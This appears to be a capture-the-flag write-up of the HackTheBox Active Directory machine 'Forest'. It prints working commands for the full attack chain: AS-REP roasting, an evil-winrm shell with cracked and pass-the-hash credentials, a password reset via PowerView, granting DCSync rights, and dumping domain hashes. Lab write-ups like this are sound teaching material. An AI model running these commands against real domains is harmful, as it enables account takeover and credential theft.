Forest HackTheBox Writeup

6 minute read


Forest is an easy rated windows box on hackthebox by egre55 and mrb3n. Valid domain users are enumerated using ldapsearch as well as rpcclient and one of the users has Pre Auth enabled giving us hash for that user which was cracked using hashcat and the credentials were used to get shell on the DC. The compromised user has full ownership on another user which was abused to change the password for the other user tick. User tick has writedacl privilege over the domain which was used to give DCsync privilege to user tick. With dcsync privilege all the secrets were dumped on the local machine and the NTLM hash for administrator user was used to get shell on the box as administrator.


Initial Scan

# Nmap 7.80 scan initiated Sun Jul  4 12:15:21 2021 as: nmap -sC -sV -oN nmap/initial -v
Increasing send delay for from 0 to 5 due to 143 out of 476 dropped probes since last increase.
Nmap scan report for
Host is up (0.26s latency).
Not shown: 989 closed ports
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-04 06:37:46Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m49s, deviation: 4h02m29s, median: 6m48s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2021-07-03T23:40:10-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-04T06:40:13
|_  start_date: 2021-07-02T05:37:29

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Jul  4 12:20:36 2021 -- 1 IP address (1 host up) scanned in 315.73 seconds
  • DNS(53), LDAP(389) and kerberos(88) indicate that this is a active directory domain controller.
  • We get the domain name: htb.local. So, let us add that to our /etc/hosts.
  • We also get the FQDN for the DC: Forest.htb.local.

Checking SMB service on Port 445

image Anonymous login is enabled, but no shares were present.

Enumerating LDAP on port 389

Trying to list namingcontext with password


Trying to go a little deeper and list the contents of the DN

image And we are able to extract quite a lot of information from the LDAP server without any credentials.

Trying to get a list of users on the domain


We can also get the users using rpcclient. image

Testing if preauth is enabled for any users

Since we have a bunch of usernames, we can check if any user has preauth enabled before trying to bruteforce the password.

What is preauth and how it works

  • While requesting the TGT(ticket granting ticket), on the first step the requesting party(user) encrypts the timestamp with its own NTLM hash and sends it to the KDC(key distribution centre) which is the Domain Controller. Now if the KDC successfully decrypts the timestamp with the requesting user’s NTLM hash, KDC will know the requesting user is a valid one.
  • This checks can be disabled(which is not a default case). In such case the KDC does not verify if the user asking for the TGT is a valid one and it sends back the TGT to the requester.
  • This TGT contains some portion of data which is encrypted with the requesting user’s NTLM hash which means we can take the hash offline and try to crack it.

Using impacket for checking

image We get a hash for svc-alfresco and for all the other users, preauth is disabled.

Trying to crack the hash

image And we crack the hash successfully.

Checking with cme

image It says pwned which means we can get a shell using evil-winrm.

Getting a shell

[email protected]:~/Documents/htb/retired/forrest$ evil-winrm -i -u svc-alfresco -p s3rvice

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami

Reading user.txt

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> type user.txt

Privilege Escalation

We can manually enumerate the domain using powerview, but i like to upload the ingestor for bloodhound called sharphound, which will collect all the information and we can view the information very easily on the Bloodhound.

Uploading Sharphound

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> upload sharp.ps1
Info: Uploading sharp.ps1 to C:\Users\svc-alfresco\desktop\sharp.ps1

Data: 1298980 bytes of 1298980 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> . .\sharp.ps1

We upload the script and load it into the memory.

Collecting the data

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> Invoke-Bloodhound -collectionmethod all -zipfile test
*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> dir

    Directory: C:\Users\svc-alfresco\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         7/4/2021  12:39 AM          15928
-a----         7/4/2021  12:39 AM          25430 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a----         7/4/2021  12:38 AM         974235 sharp.ps1
-ar---        9/23/2019   2:16 PM             32 user.txt

Downloading the zip

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> download
Info: Downloading C:\Users\svc-alfresco\desktop\ to

Info: Download successful!

Loading the data in Bloodhound

image Looking at the graph, our user owns the user [email protected]

Bloodhound also gives us info on how we can abuse this privilege. image

Changing password of user tick

image It suggests that we should powerview to change the password. So, let us upload the powerview and load it on the memory.

Uploading powerview

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> upload powerview.ps1
Info: Uploading powerview.ps1 to C:\Users\svc-alfresco\desktop\powerview.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> . .\powerview.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> 

Executing commands to change the password of user task

I like to take reference from this amazing repo by aniqfakhrul when it comes to abusing permissions on Active Directory.

*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> Set-DomainUserPassword -Identity tick -AccountPassword (ConvertTo-SecureString -AsPlainText -Force '[email protected]$$w0rd!')

And we successfully changed the password for user tick.

Getting a shell as user tick

[email protected]:~/Documents/htb/retired/forrest$ evil-winrm -i -u tick -p '[email protected]$$w0rd!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tick\Documents>

Back to the Bloodhound

image We can see that the compromised user tick is a memeber of group Exchange Windows Permissions and the group has writedacl privileges over the whole domain.

image And from the help we can see that with writedacl, we can give ourself permission for DCSync.

Giving ourself permission for DCSync

*Evil-WinRM* PS C:\Users\tick\Documents> Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity tick -Rights DCSync
*Evil-WinRM* PS C:\Users\tick\Documents> 
  • With DCsync we can either run mimikatz on the windows box or secretsdump on our linux box to dump all the secrets present on the domain controller which includes NTLM hashes which we can use to login onto the box.

Running secretsdump from impacket

image We get the NTLM hash for all the accounts on the domain.

Getting shell using evil-winrm

[email protected]:~/Documents/htb/retired/forrest$ evil-winrm -i -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

Reading root.txt

*Evil-WinRM* PS C:\Users\Administrator\Documents> type \users\administrator\desktop\root.txt